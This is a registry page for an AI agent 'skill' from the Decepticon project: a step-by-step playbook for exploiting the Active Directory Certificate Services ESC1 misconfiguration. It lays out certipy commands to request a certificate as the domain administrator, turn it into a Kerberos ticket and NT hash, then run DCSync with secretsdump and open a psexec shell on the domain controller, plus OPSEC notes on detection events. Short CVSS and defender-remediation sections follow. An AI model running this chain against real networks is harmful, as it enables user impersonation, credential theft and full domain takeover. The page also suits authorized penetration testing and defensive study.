CtrlK
BlogDocsLog inGet started
Tessl Logo

adcs-esc1

Exploit Active Directory Certificate Services ESC1 — vulnerable template allows arbitrary SAN, enabling user impersonation up to domain admin.

66

Quality

81%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

ADCS ESC1 Exploitation

ESC1 is the most common ADCS misconfig: a certificate template with ENROLLEE_SUPPLIES_SUBJECT set, allowing any enrollee to request a cert for any user. Pair with Client Authentication EKU → authenticate as that user via PKINIT → instant domain admin.

1. Enumerate templates

# Certipy (preferred)
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP \
  -output /tmp/adcs -text -stdout > /tmp/adcs.txt

# Or check JSON
certipy find -u USER@DOM -p 'PASS' -dc-ip DC_IP -json \
  -output /tmp/adcs.json

Decepticon ingest:

adcs_audit("/tmp/adcs.json")

2. Identify ESC1 candidates

A template is ESC1-vulnerable when ALL true:

  • Enrollment Rights includes a group the attacker is in (Domain Users / Authenticated Users is jackpot)
  • Client Authentication EKU or Smart Card Logon EKU or Any Purpose
  • Enrollee Supplies Subject flag set (CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT)
  • Manager Approval disabled
  • Authorized Signatures Required is 0

certipy output marks these clearly:

[!] Vulnerabilities
        ESC1                                : 'DOMAIN\\Domain Users' can enroll, enrollee supplies subject and template allows client authentication

3. Request the cert as Domain Admin

certipy req -u USER@DOM -p 'PASS' -ca CA_NAME \
  -target CA_FQDN -template VULNERABLE_TEMPLATE \
  -upn 'administrator@dom' \
  -dc-ip DC_IP \
  -out /tmp/admin.pfx

The magic is -upn administrator@dom — because ENROLLEE_SUPPLIES_SUBJECT is set, the CA issues a cert with that UPN even though we're a regular user requesting it.

4. Authenticate as Domain Admin

PKINIT (cert → TGT):

certipy auth -pfx /tmp/admin.pfx -dc-ip DC_IP
# Output: TGT cached, NT hash printed

You get back:

  • A TGT in administrator.ccache (use w/ export KRB5CCNAME=...)
  • The NT hash of administrator (because PKINIT replies include the user's NT hash for legacy compat)

5. Operate as Domain Admin

With NT hash:

# DCSync
secretsdump.py -hashes :NT_HASH 'DOM/administrator@DC_IP' -just-dc

# Shell on DC
psexec.py -hashes :NT_HASH 'DOM/administrator@DC_IP'

# Or use the ccache TGT directly
export KRB5CCNAME=/tmp/administrator.ccache
smbclient.py -k -no-pass 'DC@DC_IP'

6. Promote

kg_add_node(kind="vulnerability", label="ADCS ESC1: <template> → DA",
            props={"severity":"critical","ca":"<ca>","template":"<tpl>"})
kg_add_node(kind="credential", label="administrator:NT_HASH")
kg_add_edge(src=<vuln>, dst=<cred>, kind="grants")
kg_add_edge(src=<cred>, dst=<crown_jewel:domain>, kind="compromises")

ESC variants quick-ref

ESCMisconfigSub-skill
ESC1Enrollee supplies subject + client auth EKUTHIS doc
ESC2Any Purpose EKU templatesimilar to ESC1
ESC3Enrollment Agent templateneeds ESC3 + ESC2 combo
ESC4Vulnerable template ACL (GenericAll, WriteDacl)edit template → ESC1
ESC5Vulnerable PKI object ACLedit CA settings
ESC6EDITF_ATTRIBUTESUBJECTALTNAME2 on CArequest as any user via SAN
ESC7Vulnerable CA ACL (ManageCA, ManageCertificates)approve denied req
ESC8NTLM relay → AD CS web enrollmentcoerce + relay
ESC9UPN no security extensionlow-priv → high-priv via S4U2self
ESC10Weak certificate mapping (StrongCertificateBindingEnforcement=0)UPN spoof
ESC11NTLM relay to ICPR (RPC)similar to ESC8
ESC13Cert template w/ OID linked to group → group membership manipulation

OPSEC

  • Certipy req generates event 4886 on the CA (cert issued)
  • PKINIT generates event 4768 on DC w/ certificate fields populated
  • Hard to suppress; rely on engagement being permitted to be loud here

CVSS

  • Any ESC1 reachable from low-priv user: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
  • ESC1 reachable from anonymous (rare): 10.0
  • ESC8 NTLM relay (different exploit, same outcome): 9.8

Defender remediation

# Disable the dangerous flag
certutil -dstemplate <Template> | findstr msPKI-Certificate-Name-Flag
# Should NOT contain CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT (0x1)

# Fix via UI: Template properties → Subject Name tab → uncheck
# "Supply in the request"
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.